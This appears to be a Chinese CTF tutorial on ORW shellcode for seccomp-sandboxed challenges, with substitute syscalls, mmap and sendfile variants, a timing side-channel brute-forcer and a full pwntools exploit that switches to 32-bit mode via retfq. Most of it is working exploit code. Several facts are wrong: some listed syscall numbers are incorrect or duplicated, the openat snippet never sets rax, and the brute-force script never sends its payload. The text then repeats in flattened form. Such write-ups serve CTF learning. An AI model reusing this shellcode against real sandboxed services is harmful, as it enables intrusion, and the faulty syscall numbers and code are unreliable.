ORW针对缺O、R、W情况的总结
字数 1022 2025-08-22 12:22:24

ORW Shellcode 绕过技术详解

1. ORW 基础概念

ORW 是 Open-Read-Write 的缩写,指在二进制安全挑战中常见的文件操作模式:

  • Open: 打开文件
  • Read: 读取文件内容
  • Write: 将内容输出

2. 基本 ORW Shellcode

2.1 标准实现方式

; open("flag", 0)
push 0x67616c66  ; "flag" 字符串
push 0x2         ; open 系统调用号
pop rax
mov rdi, rsp     ; 文件名指针
xor rsi, rsi     ; 标志位0
syscall

; read(fd, rsp, 0x50)
mov rdi, rax     ; 文件描述符
xor rax, rax     ; read 系统调用号
mov rsi, rsp     ; 缓冲区
push 0x50
pop rdx          ; 读取长度
syscall

; write(1, rsp, 0x50)
push 0x1
pop rax          ; write 系统调用号
push 0x1
pop rdi          ; stdout
mov rsi, rsp     ; 缓冲区
push 0x50
pop rdx          ; 写入长度
syscall

2.2 使用 sendfile 系统调用

; open('rsp', 0, 'O_RDONLY')
push 0x67616c66  ; "flag"
push 2
pop rax
mov rdi, rsp
xor esi, esi
cdq
syscall

; sendfile(1, rax, 0, 0x100)
mov r10d, 0x100
mov rsi, rax
push 40          ; sendfile 系统调用号
pop rax
push 1
pop rdi
cdq
syscall

3. 绕过限制的技术

3.1 缺少 Read 系统调用

替代方案:

  • pread64 (系统调用号 0x11)
  • readv (系统调用号 0x13)
  • preadv (系统调用号 0x14)
  • preadv2 (系统调用号 0x15)
  • sendfile (系统调用号 0x28)
  • mmap

使用 mmap 的示例

; open("flag",0)
mov rax,0x67616c662f2e  ; "./flag"
push rax
mov rdi, rsp
xor edx, edx
xor esi, esi
mov rax,2
syscall

; mmap(0x23330000,0x1000,1,1,rax,0)
mov rsi, 0x1000
mov r10,1
mov r9d, 0
mov r8d, eax
mov edx, 1       ; 共享映射
mov edi, 0x23330000
mov rax, 9       ; mmap 系统调用号
syscall

; write(1,0x2333000,0x100)
mov rdi, 1
mov rsi, 0x23330000
mov rdx, 0x100
mov rax, 1
syscall

测信道爆破技术

当无法直接输出 flag 时,可以逐字符爆破:

from pwn import *
import time

context(arch="amd64", os="linux")

def pwn():
    flag_addr = 0x405000
    string = "{}0123456789-_abcdefghijklmnopqrstuvwxyz"
    chars = [ord(x) for x in string]
    flag = ""
    index = 0
    
    while True:
        for i in range(39):
            io = process(binary)
            loop_payload = '''
                mov rsp, {}
                mov rdx,0
                mov dl,byte ptr [rsp+{}]
                mov rcx,0
                mov cl,{}
                cmp dl,cl
                jnz loop
                mov rax, 0x3c
                syscall
            loop:
                jmp loop
            '''
            loop_payload = asm(loop_payload.format(flag_addr, index, chars[i]))
            try:
                io.clean()
                io.recv(timeout=0.1)
            except EOFError:
                flag += chr(chars[i])
                index += 1
                io.close()
                break
            finally:
                print("index:" + str(index))
                print("strings: " + chr(chars[i]))
                print("flag: " + str(flag))
                io.close()

3.2 缺少 Write 系统调用

替代方案:

  • pwrite64 (系统调用号 0x12)
  • writev (系统调用号 0x14)
  • pwritev (系统调用号 0x15)
  • pwritev2 (系统调用号 0x16)

3.3 缺少 Open 系统调用

替代方案:

  • creat (系统调用号 0x55)
  • openat (系统调用号 0x101)
  • fopen/fopen64 (libc 函数)
  • freopen (libc 函数)

使用 openat 示例

; openat(0, '/flag\x00', 0)
push 0x67616c66  ; "flag"
push 0x2f        ; '/'
mov rdi, rsp
xor esi, esi
mov edx, 0x101   ; openat 系统调用号
syscall

使用 retfq 切换 32/64 位模式

核心思想:通过 retfq 切换到 32 位模式执行 open,再切换回 64 位模式

; retfq 指令执行两步操作:
; 1. ret (跳转到 [rsp])
; 2. 设置 cs = [rsp+0x8]
; cs = 0x23 表示 32 位模式
; cs = 0x33 表示 64 位模式

完整实现步骤:

  1. 使用 mmap 申请 32 位兼容地址
  2. 写入 32 位 shellcode
  3. 使用 retfq 切换到 32 位模式
  4. 执行 32 位 open 调用
  5. 保存文件描述符
  6. 再次 retfq 切换回 64 位模式
  7. 执行 read/write

示例代码:

from pwn import *
context(log_level='debug')

p = process('./shellcode')
p.recvuntil("shellcode: ")

# 申请内存的 shellcode
shellcode_mmap = '''
    /*mmap(0x40404040,0x7e,7,34,0,0)*/
    push 0x40404040
    pop rdi
    push 0x7e
    pop rsi
    push 0x40
    pop rax
    xor al,0x47
    push rax
    pop rdx
    push 0x40
    pop rax
    xor al,0x40
    push rax
    pop r8
    push rax
    pop r9
    push rbx
    pop rax
    push 0x5d
    pop rcx
    xor byte ptr[rax+0x31],cl
    push 0x5f
    pop rcx
    xor byte ptr[rax+0x32],cl
    push 0x22
    pop rcx
    push 0x40
    pop rax
    xor al,0x49
'''

# 读取 32 位 shellcode 的代码
shellcode_read = '''
    /*read(0,0x40404040,0x70)*/
    push 0x40404040
    pop rsi
    push 0x40
    pop rax
    xor al,0x40
    push rax
    pop rdi
    xor al,0x40
    push 0x70
    pop rdx
    push rbx
    pop rax
    push 0x5d
    pop rcx
    xor byte ptr[rax+0x57],cl
    push 0x5f
    pop rcx
    xor byte ptr[rax+0x58],cl
    push rdx
    pop rax
    xor al,0x70
'''

# 构造 retfq 的代码
shellcode_retfq = '''
    push rbx
    pop rax
    xor al,0x40
    push 0x72
    pop rcx
    xor byte ptr[rax+0x40],cl
    push 0x68
    pop rcx
    xor byte ptr[rax+0x40],cl
    push 0x47
    pop rcx
    sub byte ptr[rax+0x41],cl
    push 0x48
    pop rcx
    sub byte ptr[rax+0x41],cl
    push rdi
    push rdi
    push 0x23
    push 0x40404040
    pop rax
    push rax
'''

# 32 位 shellcode
shellcode_x86 = '''
    /*fp = open("flag")*/
    mov esp,0x40404140
    push 0x67616c66
    push esp
    pop ebx
    xor ecx,ecx
    mov eax,5
    int 0x80
    mov ecx,eax
'''

# 64 位 flag 读取代码
shellcode_flag = '''
    push 0x33
    push 0x40404089
    retfq
    /*read(fp,buf,0x70)*/
    mov rdi,rcx
    mov rsi,rsp
    mov rdx,0x70
    xor rax,rax
    syscall
    /*write(1,buf,0x70)*/
    mov rdi,1
    mov rax,1
    syscall
'''

# 组合并发送 shellcode
shellcode = ''
shellcode += shellcode_mmap
shellcode += "push rdx; pop rdx;"  # 占位
shellcode += shellcode_read
shellcode += "push rdx; pop rdx;"  # 占位
shellcode += shellcode_retfq
shellcode += "push rdx; pop rdx;"  # 占位
shellcode = asm(shellcode, arch='amd64', os='linux')
p.sendline(shellcode)

shellcode_x86 = asm(shellcode_x86)
shellcode_flag = asm(shellcode_flag, arch='amd64', os='linux')
p.sendline(shellcode_x86 + 0x29*b'\x90' + shellcode_flag)
p.interactive()

4. 关键点总结

  1. 系统调用替代方案

    • 每个关键函数都有多个替代系统调用
    • 需要熟悉系统调用表和参数传递方式
  2. 32/64 位切换

    • 使用 retfq 指令切换模式
    • 注意地址解析方式的变化
    • 需要预先分配 32 位兼容的内存区域
  3. 字符限制绕过

    • 使用异或等操作生成所需字节
    • 利用现有寄存器值进行计算
  4. 测信道攻击

    • 当无法直接输出时,可以通过程序行为差异推断信息
    • 需要设计能够产生明显差异的测试条件
  5. Shellcode 构造技巧

    • 避免使用受限字节
    • 利用现有寄存器值
    • 分阶段执行复杂操作
ORW Shellcode 绕过技术详解 1. ORW 基础概念 ORW 是 Open-Read-Write 的缩写,指在二进制安全挑战中常见的文件操作模式: Open: 打开文件 Read: 读取文件内容 Write: 将内容输出 2. 基本 ORW Shellcode 2.1 标准实现方式 2.2 使用 sendfile 系统调用 3. 绕过限制的技术 3.1 缺少 Read 系统调用 替代方案: pread64 (系统调用号 0x11) readv (系统调用号 0x13) preadv (系统调用号 0x14) preadv2 (系统调用号 0x15) sendfile (系统调用号 0x28) mmap 使用 mmap 的示例 测信道爆破技术 当无法直接输出 flag 时,可以逐字符爆破: 3.2 缺少 Write 系统调用 替代方案: pwrite64 (系统调用号 0x12) writev (系统调用号 0x14) pwritev (系统调用号 0x15) pwritev2 (系统调用号 0x16) 3.3 缺少 Open 系统调用 替代方案: creat (系统调用号 0x55) openat (系统调用号 0x101) fopen/fopen64 (libc 函数) freopen (libc 函数) 使用 openat 示例 使用 retfq 切换 32/64 位模式 核心思想:通过 retfq 切换到 32 位模式执行 open,再切换回 64 位模式 完整实现步骤: 使用 mmap 申请 32 位兼容地址 写入 32 位 shellcode 使用 retfq 切换到 32 位模式 执行 32 位 open 调用 保存文件描述符 再次 retfq 切换回 64 位模式 执行 read/write 示例代码: 4. 关键点总结 系统调用替代方案 : 每个关键函数都有多个替代系统调用 需要熟悉系统调用表和参数传递方式 32/64 位切换 : 使用 retfq 指令切换模式 注意地址解析方式的变化 需要预先分配 32 位兼容的内存区域 字符限制绕过 : 使用异或等操作生成所需字节 利用现有寄存器值进行计算 测信道攻击 : 当无法直接输出时,可以通过程序行为差异推断信息 需要设计能够产生明显差异的测试条件 Shellcode 构造技巧 : 避免使用受限字节 利用现有寄存器值 分阶段执行复杂操作